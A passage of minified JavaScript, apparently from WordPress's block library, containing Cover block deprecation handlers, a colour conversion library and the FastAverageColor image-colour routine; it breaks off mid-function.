Ir={url:{type:"string"},id:{type:"number"},hasParallax:{type:"boolean",default:!1},dimRatio:{type:"number",default:50},overlayColor:{type:"string"},customOverlayColor:{type:"string"},backgroundType:{type:"string",default:"image"},focalPoint:{type:"object"}},zr={url:{type:"string"},id:{type:"number"},alt:{type:"string",source:"attribute",selector:"img",attribute:"alt",default:""},hasParallax:{type:"boolean",default:!1},isRepeated:{type:"boolean",default:!1},dimRatio:{type:"number",default:100},overlayColor:{type:"string"},customOverlayColor:{type:"string"},backgroundType:{type:"string",default:"image"},focalPoint:{type:"object"},minHeight:{type:"number"},minHeightUnit:{type:"string"},gradient:{type:"string"},customGradient:{type:"string"},contentPosition:{type:"string"},isDark:{type:"boolean",default:!0},allowedBlocks:{type:"array"},templateLock:{type:["string","boolean"],enum:["all","insert",!1]}},Mr={anchor:!0,align:!0,html:!1,spacing:{padding:!0,__experimentalDefaultControls:{padding:!0}},color:{__experimentalDuotone:"> .wp-block-cover__image-background, > .wp-block-cover__video-background",text:!1,background:!1}},Lr={attributes:zr,supports:Mr,save(e){let{attributes:t}=e;const{backgroundType:n,gradient:o,contentPosition:a,customGradient:r,customOverlayColor:l,dimRatio:i,focalPoint:s,useFeaturedImage:c,hasParallax:u,isDark:m,isRepeated:d,overlayColor:p,url:g,alt:h,id:v,minHeight:b,minHeightUnit:_}=t,y=(0,Ze.getColorClassName)("background-color",p),f=(0,Ze.__experimentalGetGradientClass)(o),k=b&&_?`${b}${_}`:b,x=fr===n,w=kr===n,E=!(u||d),C={...!x||E||c?{}:Tr(g),minHeight:k||void 0},S={backgroundColor:y?void 0:l,background:r||void 0},B=s&&E?`${Math.round(100*s.x)}% ${Math.round(100*s.y)}%`:void 0,T=at()({"is-light":!m,"has-parallax":u,"is-repeated":d,"has-custom-content-position":!Sr(a)},Br(a)),N=o||r;return(0,$e.createElement)("div",Ze.useBlockProps.save({className:T,style:C}),(0,$e.createElement)("span",{"aria-hidden":"true",className:at()("wp-block-cover__background",y,Cr(i),{"has-background-dim":void 0!==i,"wp-block-cover__gradient-background":g&&N&&0!==i,"has-background-gradient":N,[f]:f}),style:S}),!c&&x&&E&&g&&(0,$e.createElement)("img",{className:at()("wp-block-cover__image-background",v?`wp-image-${v}`:null),alt:h,src:g,style:{objectPosition:B},"data-object-fit":"cover","data-object-position":B}),w&&g&&(0,$e.createElement)("video",{className:at()("wp-block-cover__video-background","intrinsic-ignore"),autoPlay:!0,muted:!0,loop:!0,playsInline:!0,src:g,style:{objectPosition:B},"data-object-fit":"cover","data-object-position":B}),(0,$e.createElement)("div",Ze.useInnerBlocksProps.save({className:"wp-block-cover__inner-container"})))}},Rr={attributes:zr,supports:Mr,save(e){let{attributes:t}=e;const{backgroundType:n,gradient:o,contentPosition:a,customGradient:r,customOverlayColor:l,dimRatio:i,focalPoint:s,hasParallax:c,isDark:u,isRepeated:m,overlayColor:d,url:p,alt:g,id:h,minHeight:v,minHeightUnit:b}=t,_=(0,Ze.getColorClassName)("background-color",d),y=(0,Ze.__experimentalGetGradientClass)(o),f=b?`${v}${b}`:v,k=fr===n,x=kr===n,w=!(c||m),E={...k&&!w?Tr(p):{},minHeight:f||void 0},C={backgroundColor:_?void 0:l,background:r||void 0},S=s&&w?`${Math.round(100*s.x)}% ${Math.round(100*s.y)}%`:void 0,B=at()({"is-light":!u,"has-parallax":c,"is-repeated":m,"has-custom-content-position":!Sr(a)},Br(a)),T=o||r;return(0,$e.createElement)("div",Ze.useBlockProps.save({className:B,style:E}),(0,$e.createElement)("span",{"aria-hidden":"true",className:at()("wp-block-cover__background",_,Cr(i),{"has-background-dim":void 0!==i,"wp-block-cover__gradient-background":p&&T&&0!==i,"has-background-gradient":T,[y]:y}),style:C}),k&&w&&p&&(0,$e.createElement)("img",{className:at()("wp-block-cover__image-background",h?`wp-image-${h}`:null),alt:g,src:p,style:{objectPosition:S},"data-object-fit":"cover","data-object-position":S}),x&&p&&(0,$e.createElement)("video",{className:at()("wp-block-cover__video-background","intrinsic-ignore"),autoPlay:!0,muted:!0,loop:!0,playsInline:!0,src:p,style:{objectPosition:S},"data-object-fit":"cover","data-object-position":S}),(0,$e.createElement)("div",Ze.useInnerBlocksProps.save({className:"wp-block-cover__inner-container"})))}},Ar={attributes:zr,supports:Mr,save(e){let{attributes:t}=e;const{backgroundType:n,gradient:o,contentPosition:a,customGradient:r,customOverlayColor:l,dimRatio:i,focalPoint:s,hasParallax:c,isDark:u,isRepeated:m,overlayColor:d,url:p,alt:g,id:h,minHeight:v,minHeightUnit:b}=t,_=(0,Ze.getColorClassName)("background-color",d),y=(0,Ze.__experimentalGetGradientClass)(o),f=b?`${v}${b}`:v,k=fr===n,x=kr===n,w=!(c||m),E={...k&&!w?Tr(p):{},minHeight:f||void 0},C={backgroundColor:_?void 0:l,background:r||void 0},S=s&&w?`${Math.round(100*s.x)}% ${Math.round(100*s.y)}%`:void 0,B=at()({"is-light":!u,"has-parallax":c,"is-repeated":m,"has-custom-content-position":!Sr(a)},Br(a));return(0,$e.createElement)("div",Ze.useBlockProps.save({className:B,style:E}),(0,$e.createElement)("span",{"aria-hidden":"true",className:at()(_,Cr(i),"wp-block-cover__gradient-background",y,{"has-background-dim":void 0!==i,"has-background-gradient":o||r,[y]:!p&&y}),style:C}),k&&w&&p&&(0,$e.createElement)("img",{className:at()("wp-block-cover__image-background",h?`wp-image-${h}`:null),alt:g,src:p,style:{objectPosition:S},"data-object-fit":"cover","data-object-position":S}),x&&p&&(0,$e.createElement)("video",{className:at()("wp-block-cover__video-background","intrinsic-ignore"),autoPlay:!0,muted:!0,loop:!0,playsInline:!0,src:p,style:{objectPosition:S},"data-object-fit":"cover","data-object-position":S}),(0,$e.createElement)("div",Ze.useInnerBlocksProps.save({className:"wp-block-cover__inner-container"})))}},Vr={attributes:{...Ir,isRepeated:{type:"boolean",default:!1},minHeight:{type:"number"},minHeightUnit:{type:"string"},gradient:{type:"string"},customGradient:{type:"string"},contentPosition:{type:"string"},alt:{type:"string",source:"attribute",selector:"img",attribute:"alt",default:""}},supports:Mr,save(e){let{attributes:t}=e;const{backgroundType:n,gradient:o,contentPosition:a,customGradient:r,customOverlayColor:l,dimRatio:i,focalPoint:s,hasParallax:c,isRepeated:u,overlayColor:m,url:d,alt:p,id:g,minHeight:h,minHeightUnit:v}=t,b=(0,Ze.getColorClassName)("background-color",m),_=(0,Ze.__experimentalGetGradientClass)(o),y=v?`${h}${v}`:h,f=fr===n,k=kr===n,x=!(c||u),w={...f&&!x?Tr(d):{},backgroundColor:b?void 0:l,background:r&&!d?r:void 0,minHeight:y||void 0},E=s&&x?`${Math.round(100*s.x)}% ${Math.round(100*s.y)}%`:void 0,C=at()(Nr(i),b,{"has-background-dim":0!==i,"has-parallax":c,"is-repeated":u,"has-background-gradient":o||r,[_]:!d&&_,"has-custom-content-position":!Sr(a)},Br(a));return(0,$e.createElement)("div",Ze.useBlockProps.save({className:C,style:w}),d&&(o||r)&&0!==i&&(0,$e.createElement)("span",{"aria-hidden":"true",className:at()("wp-block-cover__gradient-background",_),style:r?{background:r}:void 0}),f&&x&&d&&(0,$e.createElement)("img",{className:at()("wp-block-cover__image-background",g?`wp-image-${g}`:null),alt:p,src:d,style:{objectPosition:E},"data-object-fit":"cover","data-object-position":E}),k&&d&&(0,$e.createElement)("video",{className:at()("wp-block-cover__video-background","intrinsic-ignore"),autoPlay:!0,muted:!0,loop:!0,playsInline:!0,src:d,style:{objectPosition:E},"data-object-fit":"cover","data-object-position":E}),(0,$e.createElement)("div",{className:"wp-block-cover__inner-container"},(0,$e.createElement)(Ze.InnerBlocks.Content,null)))},migrate:Pr},Hr={attributes:{...Ir,isRepeated:{type:"boolean",default:!1},minHeight:{type:"number"},minHeightUnit:{type:"string"},gradient:{type:"string"},customGradient:{type:"string"},contentPosition:{type:"string"}},supports:{align:!0},save(e){let{attributes:t}=e;const{backgroundType:n,gradient:o,contentPosition:a,customGradient:r,customOverlayColor:l,dimRatio:i,focalPoint:s,hasParallax:c,isRepeated:u,overlayColor:m,url:d,minHeight:p,minHeightUnit:g}=t,h=(0,Ze.getColorClassName)("background-color",m),v=(0,Ze.__experimentalGetGradientClass)(o),b=g?`${p}${g}`:p,_=fr===n,y=kr===n,f=_?Tr(d):{},k={};let x;h||(f.backgroundColor=l),r&&!d&&(f.background=r),f.minHeight=b||void 0,s&&(x=`${Math.round(100*s.x)}% ${Math.round(100*s.y)}%`,_&&!c&&(f.backgroundPosition=x),y&&(k.objectPosition=x));const w=at()(Nr(i),h,{"has-background-dim":0!==i,"has-parallax":c,"is-repeated":u,"has-background-gradient":o||r,[v]:!d&&v,"has-custom-content-position":!Sr(a)},Br(a));return(0,$e.createElement)("div",Ze.useBlockProps.save({className:w,style:f}),d&&(o||r)&&0!==i&&(0,$e.createElement)("span",{"aria-hidden":"true",className:at()("wp-block-cover__gradient-background",v),style:r?{background:r}:void 0}),y&&d&&(0,$e.createElement)("video",{className:"wp-block-cover__video-background",autoPlay:!0,muted:!0,loop:!0,playsInline:!0,src:d,style:k}),(0,$e.createElement)("div",{className:"wp-block-cover__inner-container"},(0,$e.createElement)(Ze.InnerBlocks.Content,null)))},migrate:Pr},Dr={attributes:{...Ir,minHeight:{type:"number"},gradient:{type:"string"},customGradient:{type:"string"}},supports:{align:!0},save(e){let{attributes:t}=e;const{backgroundType:n,gradient:o,customGradient:a,customOverlayColor:r,dimRatio:l,focalPoint:i,hasParallax:s,overlayColor:c,url:u,minHeight:m}=t,d=(0,Ze.getColorClassName)("background-color",c),p=(0,Ze.__experimentalGetGradientClass)(o),g=n===fr?Tr(u):{};d||(g.backgroundColor=r),i&&!s&&(g.backgroundPosition=`${Math.round(100*i.x)}% ${Math.round(100*i.y)}%`),a&&!u&&(g.background=a),g.minHeight=m||void 0;const h=at()(Nr(l),d,{"has-background-dim":0!==l,"has-parallax":s,"has-background-gradient":a,[p]:!u&&p});return(0,$e.createElement)("div",{className:h,style:g},u&&(o||a)&&0!==l&&(0,$e.createElement)("span",{"aria-hidden":"true",className:at()("wp-block-cover__gradient-background",p),style:a?{background:a}:void 0}),kr===n&&u&&(0,$e.createElement)("video",{className:"wp-block-cover__video-background",autoPlay:!0,muted:!0,loop:!0,src:u}),(0,$e.createElement)("div",{className:"wp-block-cover__inner-container"},(0,$e.createElement)(Ze.InnerBlocks.Content,null)))},migrate:Pr},Fr={attributes:{...Ir,minHeight:{type:"number"},gradient:{type:"string"},customGradient:{type:"string"}},supports:{align:!0},save(e){let{attributes:t}=e;const{backgroundType:n,gradient:o,customGradient:a,customOverlayColor:r,dimRatio:l,focalPoint:i,hasParallax:s,overlayColor:c,url:u,minHeight:m}=t,d=(0,Ze.getColorClassName)("background-color",c),p=(0,Ze.__experimentalGetGradientClass)(o),g=n===fr?Tr(u):{};d||(g.backgroundColor=r),i&&!s&&(g.backgroundPosition=`${100*i.x}% ${100*i.y}%`),a&&!u&&(g.background=a),g.minHeight=m||void 0;const h=at()(Nr(l),d,{"has-background-dim":0!==l,"has-parallax":s,"has-background-gradient":a,[p]:!u&&p});return(0,$e.createElement)("div",{className:h,style:g},u&&(o||a)&&0!==l&&(0,$e.createElement)("span",{"aria-hidden":"true",className:at()("wp-block-cover__gradient-background",p),style:a?{background:a}:void 0}),kr===n&&u&&(0,$e.createElement)("video",{className:"wp-block-cover__video-background",autoPlay:!0,muted:!0,loop:!0,src:u}),(0,$e.createElement)("div",{className:"wp-block-cover__inner-container"},(0,$e.createElement)(Ze.InnerBlocks.Content,null)))},migrate:Pr},Gr={attributes:{...Ir,title:{type:"string",source:"html",selector:"p"},contentAlign:{type:"string",default:"center"}},supports:{align:!0},save(e){let{attributes:t}=e;const{backgroundType:n,contentAlign:o,customOverlayColor:a,dimRatio:r,focalPoint:l,hasParallax:i,overlayColor:s,title:c,url:u}=t,m=(0,Ze.getColorClassName)("background-color",s),d=n===fr?Tr(u):{};m||(d.backgroundColor=a),l&&!i&&(d.backgroundPosition=`${100*l.x}% ${100*l.y}%`);const p=at()(Nr(r),m,{"has-background-dim":0!==r,"has-parallax":i,[`has-${o}-content`]:"center"!==o});return(0,$e.createElement)("div",{className:p,style:d},kr===n&&u&&(0,$e.createElement)("video",{className:"wp-block-cover__video-background",autoPlay:!0,muted:!0,loop:!0,src:u}),!Ze.RichText.isEmpty(c)&&(0,$e.createElement)(Ze.RichText.Content,{tagName:"p",className:"wp-block-cover-text",value:c}))},migrate(e){const t={...e,dimRatio:e.url?e.dimRatio:100},{title:n,contentAlign:o,...a}=t;return[a,[(0,Ge.createBlock)("core/paragraph",{content:e.title,align:e.contentAlign,fontSize:"large",placeholder:(0,je.__)("Write title…")})]]}},$r={attributes:{...Ir,title:{type:"string",source:"html",selector:"p"},contentAlign:{type:"string",default:"center"},align:{type:"string"}},supports:{className:!1},save(e){let{attributes:t}=e;const{url:n,title:o,hasParallax:a,dimRatio:r,align:l,contentAlign:i,overlayColor:s,customOverlayColor:c}=t,u=(0,Ze.getColorClassName)("background-color",s),m=Tr(n);u||(m.backgroundColor=c);const d=at()("wp-block-cover-image",Nr(r),u,{"has-background-dim":0!==r,"has-parallax":a,[`has-${i}-content`]:"center"!==i},l?`align${l}`:null);return(0,$e.createElement)("div",{className:d,style:m},!Ze.RichText.isEmpty(o)&&(0,$e.createElement)(Ze.RichText.Content,{tagName:"p",className:"wp-block-cover-image-text",value:o}))},migrate(e){const t={...e,dimRatio:e.url?e.dimRatio:100},{title:n,contentAlign:o,align:a,...r}=t;return[r,[(0,Ge.createBlock)("core/paragraph",{content:e.title,align:e.contentAlign,fontSize:"large",placeholder:(0,je.__)("Write title…")})]]}},Ur={attributes:{...Ir,title:{type:"string",source:"html",selector:"h2"},align:{type:"string"},contentAlign:{type:"string",default:"center"}},supports:{className:!1},save(e){let{attributes:t}=e;const{url:n,title:o,hasParallax:a,dimRatio:r,align:l}=t,i=Tr(n),s=at()("wp-block-cover-image",Nr(r),{"has-background-dim":0!==r,"has-parallax":a},l?`align${l}`:null);return(0,$e.createElement)("section",{className:s,style:i},(0,$e.createElement)(Ze.RichText.Content,{tagName:"h2",value:o}))},migrate(e){const t={...e,dimRatio:e.url?e.dimRatio:100},{title:n,contentAlign:o,align:a,...r}=t;return[r,[(0,Ge.createBlock)("core/paragraph",{content:e.title,align:e.contentAlign,fontSize:"large",placeholder:(0,je.__)("Write title…")})]]}},Or=[Lr,Rr,Ar,Vr,Hr,Dr,Fr,Gr,$r,Ur];var qr={grad:.9,turn:360,rad:360/(2*Math.PI)},Wr=function(e){return"string"==typeof e?e.length>0:"number"==typeof e},jr=function(e,t,n){return void 0===t&&(t=0),void 0===n&&(n=Math.pow(10,t)),Math.round(n*e)/n+0},Zr=function(e,t,n){return void 0===t&&(t=0),void 0===n&&(n=1),e>n?n:e>t?e:t},Qr=function(e){return(e=isFinite(e)?e%360:0)>0?e:e+360},Kr=function(e){return{r:Zr(e.r,0,255),g:Zr(e.g,0,255),b:Zr(e.b,0,255),a:Zr(e.a)}},Yr=function(e){return{r:jr(e.r),g:jr(e.g),b:jr(e.b),a:jr(e.a,3)}},Jr=/^#([0-9a-f]{3,8})$/i,Xr=function(e){var t=e.toString(16);return t.length<2?"0"+t:t},el=function(e){var t=e.r,n=e.g,o=e.b,a=e.a,r=Math.max(t,n,o),l=r-Math.min(t,n,o),i=l?r===t?(n-o)/l:r===n?2+(o-t)/l:4+(t-n)/l:0;return{h:60*(i<0?i+6:i),s:r?l/r*100:0,v:r/255*100,a}},tl=function(e){var t=e.h,n=e.s,o=e.v,a=e.a;t=t/360*6,n/=100,o/=100;var r=Math.floor(t),l=o*(1-n),i=o*(1-(t-r)*n),s=o*(1-(1-t+r)*n),c=r%6;return{r:255*[o,i,l,l,s,o][c],g:255*[s,o,o,i,l,l][c],b:255*[l,l,s,o,o,i][c],a}},nl=function(e){return{h:Qr(e.h),s:Zr(e.s,0,100),l:Zr(e.l,0,100),a:Zr(e.a)}},ol=function(e){return{h:jr(e.h),s:jr(e.s),l:jr(e.l),a:jr(e.a,3)}},al=function(e){return tl((n=(t=e).s,{h:t.h,s:(n*=((o=t.l)<50?o:100-o)/100)>0?2*n/(o+n)*100:0,v:o+n,a:t.a}));var t,n,o},rl=function(e){return{h:(t=el(e)).h,s:(a=(200-(n=t.s))*(o=t.v)/100)>0&&a<200?n*o/100/(a<=100?a:200-a)*100:0,l:a/2,a:t.a};var t,n,o,a},ll=/^hsla?\(\s*([+-]?\d*\.?\d+)(deg|rad|grad|turn)?\s*,\s*([+-]?\d*\.?\d+)%\s*,\s*([+-]?\d*\.?\d+)%\s*(?:,\s*([+-]?\d*\.?\d+)(%)?\s*)?\)$/i,il=/^hsla?\(\s*([+-]?\d*\.?\d+)(deg|rad|grad|turn)?\s+([+-]?\d*\.?\d+)%\s+([+-]?\d*\.?\d+)%\s*(?:\/\s*([+-]?\d*\.?\d+)(%)?\s*)?\)$/i,sl=/^rgba?\(\s*([+-]?\d*\.?\d+)(%)?\s*,\s*([+-]?\d*\.?\d+)(%)?\s*,\s*([+-]?\d*\.?\d+)(%)?\s*(?:,\s*([+-]?\d*\.?\d+)(%)?\s*)?\)$/i,cl=/^rgba?\(\s*([+-]?\d*\.?\d+)(%)?\s+([+-]?\d*\.?\d+)(%)?\s+([+-]?\d*\.?\d+)(%)?\s*(?:\/\s*([+-]?\d*\.?\d+)(%)?\s*)?\)$/i,ul={string:[[function(e){var t=Jr.exec(e);return t?(e=t[1]).length<=4?{r:parseInt(e[0]+e[0],16),g:parseInt(e[1]+e[1],16),b:parseInt(e[2]+e[2],16),a:4===e.length?jr(parseInt(e[3]+e[3],16)/255,2):1}:6===e.length||8===e.length?{r:parseInt(e.substr(0,2),16),g:parseInt(e.substr(2,2),16),b:parseInt(e.substr(4,2),16),a:8===e.length?jr(parseInt(e.substr(6,2),16)/255,2):1}:null:null},"hex"],[function(e){var t=sl.exec(e)||cl.exec(e);return t?t[2]!==t[4]||t[4]!==t[6]?null:Kr({r:Number(t[1])/(t[2]?100/255:1),g:Number(t[3])/(t[4]?100/255:1),b:Number(t[5])/(t[6]?100/255:1),a:void 0===t[7]?1:Number(t[7])/(t[8]?100:1)}):null},"rgb"],[function(e){var t=ll.exec(e)||il.exec(e);if(!t)return null;var n,o,a=nl({h:(n=t[1],o=t[2],void 0===o&&(o="deg"),Number(n)*(qr[o]||1)),s:Number(t[3]),l:Number(t[4]),a:void 0===t[5]?1:Number(t[5])/(t[6]?100:1)});return al(a)},"hsl"]],object:[[function(e){var t=e.r,n=e.g,o=e.b,a=e.a,r=void 0===a?1:a;return Wr(t)&&Wr(n)&&Wr(o)?Kr({r:Number(t),g:Number(n),b:Number(o),a:Number(r)}):null},"rgb"],[function(e){var t=e.h,n=e.s,o=e.l,a=e.a,r=void 0===a?1:a;if(!Wr(t)||!Wr(n)||!Wr(o))return null;var l=nl({h:Number(t),s:Number(n),l:Number(o),a:Number(r)});return al(l)},"hsl"],[function(e){var t=e.h,n=e.s,o=e.v,a=e.a,r=void 0===a?1:a;if(!Wr(t)||!Wr(n)||!Wr(o))return null;var l=function(e){return{h:Qr(e.h),s:Zr(e.s,0,100),v:Zr(e.v,0,100),a:Zr(e.a)}}({h:Number(t),s:Number(n),v:Number(o),a:Number(r)});return tl(l)},"hsv"]]},ml=function(e,t){for(var n=0;n<t.length;n++){var o=t[n][0](e);if(o)return[o,t[n][1]]}return[null,void 0]},dl=function(e,t){var n=rl(e);return{h:n.h,s:Zr(n.s+100*t,0,100),l:n.l,a:n.a}},pl=function(e){return(299*e.r+587*e.g+114*e.b)/1e3/255},gl=function(e,t){var n=rl(e);return{h:n.h,s:n.s,l:Zr(n.l+100*t,0,100),a:n.a}},hl=function(){function e(e){this.parsed=function(e){return"string"==typeof e?ml(e.trim(),ul.string):"object"==typeof e&&null!==e?ml(e,ul.object):[null,void 0]}(e)[0],this.rgba=this.parsed||{r:0,g:0,b:0,a:1}}return e.prototype.isValid=function(){return null!==this.parsed},e.prototype.brightness=function(){return jr(pl(this.rgba),2)},e.prototype.isDark=function(){return pl(this.rgba)<.5},e.prototype.isLight=function(){return pl(this.rgba)>=.5},e.prototype.toHex=function(){return t=(e=Yr(this.rgba)).r,n=e.g,o=e.b,r=(a=e.a)<1?Xr(jr(255*a)):"","#"+Xr(t)+Xr(n)+Xr(o)+r;var e,t,n,o,a,r},e.prototype.toRgb=function(){return Yr(this.rgba)},e.prototype.toRgbString=function(){return t=(e=Yr(this.rgba)).r,n=e.g,o=e.b,(a=e.a)<1?"rgba("+t+", "+n+", "+o+", "+a+")":"rgb("+t+", "+n+", "+o+")";var e,t,n,o,a},e.prototype.toHsl=function(){return ol(rl(this.rgba))},e.prototype.toHslString=function(){return t=(e=ol(rl(this.rgba))).h,n=e.s,o=e.l,(a=e.a)<1?"hsla("+t+", "+n+"%, "+o+"%, "+a+")":"hsl("+t+", "+n+"%, "+o+"%)";var e,t,n,o,a},e.prototype.toHsv=function(){return e=el(this.rgba),{h:jr(e.h),s:jr(e.s),v:jr(e.v),a:jr(e.a,3)};var e},e.prototype.invert=function(){return vl({r:255-(e=this.rgba).r,g:255-e.g,b:255-e.b,a:e.a});var e},e.prototype.saturate=function(e){return void 0===e&&(e=.1),vl(dl(this.rgba,e))},e.prototype.desaturate=function(e){return void 0===e&&(e=.1),vl(dl(this.rgba,-e))},e.prototype.grayscale=function(){return vl(dl(this.rgba,-1))},e.prototype.lighten=function(e){return void 0===e&&(e=.1),vl(gl(this.rgba,e))},e.prototype.darken=function(e){return void 0===e&&(e=.1),vl(gl(this.rgba,-e))},e.prototype.rotate=function(e){return void 0===e&&(e=15),this.hue(this.hue()+e)},e.prototype.alpha=function(e){return"number"==typeof e?vl({r:(t=this.rgba).r,g:t.g,b:t.b,a:e}):jr(this.rgba.a,3);var t},e.prototype.hue=function(e){var t=rl(this.rgba);return"number"==typeof e?vl({h:e,s:t.s,l:t.l,a:t.a}):jr(t.h)},e.prototype.isEqual=function(e){return this.toHex()===vl(e).toHex()},e}(),vl=function(e){return e instanceof hl?e:new hl(e)},bl=[];function _l(e){var t=e.toString(16);return 1===t.length?"0"+t:t}function yl(e){return"#"+e.map(_l).join("")}function fl(e,t,n){for(var o=0;o<n.length;o++)if(kl(e,t,n[o]))return!0;return!1}function kl(e,t,n){switch(n.length){case 3:if(function(e,t,n){return 255!==e[t+3]||e[t]===n[0]&&e[t+1]===n[1]&&e[t+2]===n[2]}(e,t,n))return!0;break;case 4:if(function(e,t,n){return e[t+3]&&n[3]?e[t]===n[0]&&e[t+1]===n[1]&&e[t+2]===n[2]&&e[t+3]===n[3]:e[t+3]===n[3]}(e,t,n))return!0;break;case 5:if(function(e,t,n){var o=n[0],a=n[1],r=n[2],l=n[3],i=n[4],s=e[t+3],c=xl(s,l,i);return l?!(s||!c)||!!(xl(e[t],o,i)&&xl(e[t+1],a,i)&&xl(e[t+2],r,i)&&c):c}(e,t,n))return!0;break;default:return!1}}function xl(e,t,n){return e>=t-n&&e<=t+n}function wl(e,t,n){for(var o={},a=n.ignoredColor,r=n.step,l=[0,0,0,0,0],i=0;i<t;i+=r){var s=e[i],c=e[i+1],u=e[i+2],m=e[i+3];if(!a||!fl(e,i,a)){var d=Math.round(s/24)+","+Math.round(c/24)+","+Math.round(u/24);o[d]?o[d]=[o[d][0]+s*m,o[d][1]+c*m,o[d][2]+u*m,o[d][3]+m,o[d][4]+1]:o[d]=[s*m,c*m,u*m,m,1],l[4]<o[d][4]&&(l=o[d])}}var p=l[0],g=l[1],h=l[2],v=l[3],b=l[4];return v?[Math.round(p/v),Math.round(g/v),Math.round(h/v),Math.round(v/b)]:n.defaultColor}function El(e,t,n){for(var o=0,a=0,r=0,l=0,i=0,s=n.ignoredColor,c=n.step,u=0;u<t;u+=c){var m=e[u+3],d=e[u]*m,p=e[u+1]*m,g=e[u+2]*m;s&&fl(e,u,s)||(o+=d,a+=p,r+=g,l+=m,i++)}return l?[Math.round(o/l),Math.round(a/l),Math.round(r/l),Math.round(l/i)]:n.defaultColor}function Cl(e,t,n){for(var o=0,a=0,r=0,l=0,i=0,s=n.ignoredColor,c=n.step,u=0;u<t;u+=c){var m=e[u],d=e[u+1],p=e[u+2],g=e[u+3];s&&fl(e,u,s)||(o+=m*m*g,a+=d*d*g,r+=p*p*g,l+=g,i++)}return l?[Math.round(Math.sqrt(o/l)),Math.round(Math.sqrt(a/l)),Math.round(Math.sqrt(r/l)),Math.round(l/i)]:n.defaultColor}function Sl(e){return Bl(e,"defaultColor",[0,0,0,0])}function Bl(e,t,n){return void 0===e[t]?n:e[t]}function Tl(e){return function(e){return"undefined"!=typeof HTMLCanvasElement&&e instanceof HTMLCanvasElement}(e)?"canvas":function(e){return"undefined"!=typeof OffscreenCanvas&&e instanceof OffscreenCanvas}(e)?"offscreencanvas":function(e){return"undefined"!=typeof ImageBitmap&&e instanceof ImageBitmap}(e)?"imagebitmap":e.src}function Nl(e){return"undefined"!=typeof HTMLImageElement&&e instanceof HTMLImageElement}var Pl="undefined"==typeof window,Il="FastAverageColor: ";function zl(e,t,n){t||(console.error(Il+e),n&&console.error(n))}function Ml(e){return Error(Il+e)}var Ll=function(){function e(){this.canvas=null,this.ctx=null}return e.prototype.getColorAsync=function(e,t){if(!e)return Promise.reject(Ml("call .getColorAsync() without resource."));if("string"==typeof e){if("undefined"==typeof Image)return Promise.reject(Ml("resource as string is not supported in this environment"));var n=new Image;return n.crossOrigin=t&&t.crossOrigin||"",n.src=e,this.bindImageEvents(n,t)}if(Nl(e)&&!e.complete)return this.bindImageEvents(e,t);var o=this.getColor(e,t);return o.error?Promise.reject(o.error):Promise.resolve(o)},e.prototype.getColor=function(e,t){var n=Sl(t=t||{});if(!e)return zl("call .getColor(null) without resource",t.silent),this.prepareResult(n);var o=function(e,t){var n,o=Bl(t,"left",0),a=Bl(t,"top",0),r=Bl(t,"width",e.width),l=Bl(t,"height",e.height),i=r,s=l;return"precision"===t.mode||(r>l?(n=r/l,i=100,s=Math.round(i/n)):(n=l/r,s=100,i=Math.round(s/n)),(i>r||s>l||i<10||s<10)&&(i=r,s=l)),{srcLeft:o,srcTop:a,srcWidth:r,srcHeight:l,destWidth:i,destHeight:s}}(function(e){if(Nl(e)){var t=e.naturalWidth,n=e.naturalHeight;return e.naturalWidth||-1===e.src.search(/\.svg(\?|$)/i)||(t=n=100),{width:t,height:n}}return function(e){return"undefined"!=typeof HTMLVideoElement&&e instanceof HTMLVideoElement}(e)?{width:e.videoWidth,height:e.videoHeight}:{width:e.width,height:e.height}}(e),t);if(!(o.srcWidth&&o.srcHeight&&o.destWidth&&o.destHeight))return zl('incorrect sizes for resource "'.concat(Tl(e),'"'),t.silent),this.prepareResult(n);if(this.canvas||(this.canvas=Pl?new OffscreenCanvas(1,1):document.createElement("canvas")),!this.ctx&&(this.ctx=this.canvas.getContext&&this.canvas.getContext("2d"),!this.ctx))return zl("Canvas Context 2D is not supported in this browser",t.silent),this.prepareResult(n);this.canvas.width=o.destWidth,this.canvas.height=o.destHeight;var a=n;try{this.ctx.clearRect(0,0,o.destWidth,o.destHeight),this.ctx.drawImage(e,o.srcLeft,o.srcTop,o.srcWidth,o.srcHeight,0,0,o.destWidth,o.destHeight);var r=this.ctx.getImageData(0,0,o.destWidth,o.destHeight).data;a=this.getColorFromArray4(r,t)}catch(n){zl("security error (CORS) for resource ".concat(Tl(e),".\nDetails: https://developer.mozilla.org/en/docs/Web/HTML/CORS_enabled_image"),t.silent,n)}return this.prepareResult(a)},e.prototype.getColorFromArray4=function(e,t){t=t||{};var n=e.length,o=Sl(t);if(n<4)return o;var a,r,l,i=n-n%4,s=4*(t.step||1);switch(t.algorithm||"sqrt"){case"simple":a=El;break;case"sqrt":a=Cl;break;case"dominant":a=wl;break;default:throw Ml("".concat(t.algorithm," is unknown algorithm"))}return a(e,i,{defaultColor:o,ignoredColor:(r=t.ignoredColor,r?(l=r,Array.isArray(l[0])?r:[r]):[]),step:s})},e.prototype.prepareResult=function(e){var t,n=e.slice(0,3),o=[e[0],e[1],e[2],e[3]/255],a=(299*(t=e)[0]+587*t[1]+114*t[2])/1e3<128;return{value:[e[0],e[1],e[2],e[3]],rgb:"rgb("+n.join(",")+")",rgba:"rgba("+o.join(",")+")",hex:yl(n),hexa:yl(e),isDark:a,isLight:!a}},e.prototype.destroy=function(){this.canvas&&(this.canvas.width=1,this.canvas.height=1,this.canvas=null),this.ctx=null},e.prototype.bindImageEvents=function(e,t){var n=this;return new Promise((function(o,a){var r=function(){s();var r=n.getColor(e,t);r.error?a(r.error):o(r)},l=function(){s(),a(Ml('Error loading image "'.concat(e.src,'".')))},i=function(){s(),a(Ml('Image "'.concat(e.src,'" loading aborted')))},s=function(){e.removeEventListener("load",r),e.removeEventListener("error",l),e.removeEventListener("abort",i)};e.addEventListener("load",r),e.addEventListener("error",l),e.addEventListener("abort",i)}))},e}();function Rl(){return Rl.fastAverageColor||(Rl.fastAverageColor=new Ll),Rl.fastAverageColor}function Al(e){let{onChange:t,onUnitChange:n,unit:o="px",value:a=""}=e;const r=`block-cover-height-input-${(0,Wt.useInstanceId)(We.__experimentalUnitControl)}`,l="px"===o,i=(0,We.__experimentalUseCustomUnits)({availableUnits:(0,Ze.useSetting)("spacing.units")||["px","em","rem","vw","vh"],defaultValues:{px:430,"%":20,em:20,rem:20,vw:20,vh:50}}),s=(0,$e.useMemo)((()=>{const[e]=(0,We.__experimentalParseQuantityAndUnitFromRawValue)(a);return[e,o].join("")}),[o,a]),c=l?50:0;return(0,$e.createElement)(We.BaseControl,{label:(0,je.__)("Minimum height of cover"),id:r},(0,$e.createElement)(We.__experimentalUnitControl,{id:r,isResetValueOnUnitChange:!0,min:c,onChange:e=>{const 